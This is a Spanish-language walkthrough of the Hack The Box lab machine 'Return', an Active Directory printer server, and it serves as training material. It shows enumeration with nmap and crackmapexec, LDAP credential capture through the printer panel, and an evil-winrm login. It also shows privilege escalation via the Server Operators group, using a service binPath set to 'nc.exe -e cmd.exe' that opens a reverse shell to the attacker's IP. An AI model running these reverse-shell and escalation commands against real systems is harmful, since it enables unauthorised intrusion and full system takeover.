Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Return, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema.
- Vulnerar web de impresora.
- Utilización de burpsuite.
- Abuso de grupo Server Operators para escalar privilegios.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=136 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.11.108 -oG ports
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49679/tcp open unknown
49682/tcp open unknown
49694/tcp open unknown
60360/tcp open unknown¡
Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49694 10.10.11.108 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-09 05:27:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: 18m35s
| smb2-time:
| date: 2023-02-09T05:28:01
|_ start_date: N/A
Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.11.108
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
Se puede observar que el dominio es return.local, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.108 return.local
Para de esta manera tener conectividad, para comprobarlo utilizamos ping
:
1
2
3
4
ping -c 1 return.local
PING return.local (10.10.11.108) 56(84) bytes of data.
64 bytes from return.local (10.10.11.108): icmp_seq=1 ttl=127 time=134 ms
Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.11.108 --shares
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap
:
1
2
3
smbmap -H 10.10.11.108
[+] IP: 10.10.11.108:445 Name: return.local
No tenemos capacidad de lectura de ningún recurso, por lo que no podemos seguir enumerando por smb.
Revisando los puertos vemos que está el 80 abierto, por lo tanto, vamos a utilizar la herramienta whatweb
para ver qué información nos ofrece:
1
2
whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]
Como podemos observar, corresponde a un IIS. Vamos al navegador para ver de qué se trata:
Vemos una impresora, al parecer corresponde a la página de una impresora. Si recorremos vemos la sección settings:
Explotación
Podemos observar que existe un panel, en el cual se puede poner información. Además, existe una sección de contraseña, si vamos a inspeccionar elemento podremos ver que corresponde a text, por lo tanto, no es una contraseña sino asteríscos.
En este punto utilizaremos burpsuite
para interceptar la petición:
Obsevarmos que la única información que se envía por POST es la del servidor, por lo tanto, debe estar intentando conectarse a esa IP. Para comprobar si esto de verdad ocurre o es simplemente una página inútil vamos a ingresar nuestra ip, además estaremos escuchando por el puerto 389 como dice en la página:
Al momento de enviar la petición podemos ver que nos llega una conexión en netcat
:
1
2
3
4
5
nc -nvlp 389
listening on [any] 389 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 62090
0*`%return\svc-printer�
1edFg43012!!
Obtenemos unos números extraños, puede ser que sean una contraseña. Para verificar si esto es correcto utilizaremos crackmapexec
:
1
2
3
4
crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
Bien, corresponde a un usuario válido. Como está el puerto de winrm abierto intentaremos ver si este usuario pertenece al grupo Remote Management use utilizando crackmapexec
:
1
2
3
4
5
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.10.11.108 5985 PRINTER [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.10.11.108 5985 PRINTER [*] http://10.10.11.108:5985/wsman
WINRM 10.10.11.108 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Observamos que si está en el grupo, por lo tanto, utilizando evil-winrm
nos conectaremos a la máquina:
1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
Ahora buscaremos la flag dentro del directorio personal del usuairo svc-printer
:
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/8/2023 8:29 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
a91d927f0709257aa634d1
Bien, ahora tenemos que encontrar la forma de convertirnos en domain admin.
Escalada de privilegios
Si observamos los grupos del usuario tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 12:15:13 AM
Password expires Never
Password changeable 5/27/2021 12:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/8/2023 8:52:40 PM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
Observamos que pertenecemos al grupo Server Operators, si buscamos por google si existen maneras de escalar privilegios con este grupo encontramos la siguiente web, el primer paso consiste en subir a la máquina víctima el netcat.exe
, en este caso este ejecutable en encuentra en:
1
2
3
4
locate nc.exe
/home/kali/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Prodecemos a subirlo a máquina víctima:
1
2
3
4
5
6
7
C:\Users\svc-printer> upload /usr/share/windows-resources/binaries/nc.exe
Info: Uploading /usr/share/windows-resources/binaries/nc.exe to C:\Users\svc-printer\nc.exe
Data: 79188 bytes of 79188 bytes copied
Info: Upload successful!
La gracia que tiene todo esto, es que al ser del grupo Server Operators podemos ejecutar y detener servicios, lo que podemos hacer es cambiar el path de un servicio en particular para ejectuar lo que nosotros queramos, en este caso será una conexión por netcat
hacia nuestra máquina, estaremos utilizando el servicio VMTools
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\svc-printer> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
Ahora, teniendo en nc.exe
en la máquina, cambiamos el path del servicio:
1
2
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe config VMTools binPath="C:\Users\svc-printer\nc.exe -e cmd.exe 10.10.14.17 1234"
[SC] ChangeServiceConfig SUCCESS
Luego, detenemos el servicio de VMTools y lo volvemos a iniciar para que busque el servicio desde el nuevo path y ejecute el netcat
:
1
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe stop VMTools
1
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe start VMTools
En nuestra máquina recibimos una conexión:
1
2
3
4
5
6
7
8
9
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 65188
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Podemos notar que somos administrador, ahora buscamos la flag en el directorio personal del administrador:
1
2
3
C:\Users\Administrator\Desktop>type root.txt
type root.txt
c1e9b456ee2a4891a570be
¡Bien!
Hemos ganado acceso como administrador.
Nos vemos, hasta la próxima.